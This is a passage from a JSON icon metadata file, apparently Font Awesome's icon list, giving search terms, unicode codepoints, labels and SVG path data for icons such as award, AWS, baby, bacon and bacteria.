19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z" + } + }, + "free": [ + "brands" + ] + }, + "award": { + "changes": [ + "5.1.0", + "5.2.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "honor", + "praise", + "prize", + "recognition", + "ribbon", + "trophy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f559", + "label": "Award", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635321, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z" + } + }, + "free": [ + "solid" + ] + }, + "aws": { + "changes": [ + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f375", + "label": "Amazon Web Services (AWS)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860967, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z" + } + }, + "free": [ + "brands" + ] + }, + "baby": { + "changes": [ + "5.6.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "child", + "diaper", + "doll", + "human", + "infant", + "kid", + "offspring", + "person", + "sprout" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f77c", + "label": "Baby", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635322, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z" + } + }, + "free": [ + "solid" + ] + }, + "baby-carriage": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buggy", + "carrier", + "infant", + "push", + "stroller", + "transportation", + "walk", + "wheels" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f77d", + "label": "Baby Carriage", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635322, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z" + } + }, + "free": [ + "solid" + ] + }, + "backspace": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "command", + "delete", + "erase", + "keyboard", + "undo" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f55a", + "label": "Backspace", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635323, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z" + } + }, + "free": [ + "solid" + ] + }, + "backward": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "previous", + "rewind" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f04a", + "label": "backward", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635323, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z" + } + }, + "free": [ + "solid" + ] + }, + "bacon": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blt", + "breakfast", + "ham", + "lard", + "meat", + "pancetta", + "pork", + "rasher" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7e5", + "label": "Bacon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635323, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z" + } + }, + "free": [ + "solid" + ] + }, + "bacteria": { + "changes": [ + "5.13.0", + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "antibiotic", + "antibody", + "covid-19", + "health", + "organism", + "sick" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e059", + "label": "Bacteria", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635324, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,17.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,121.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,1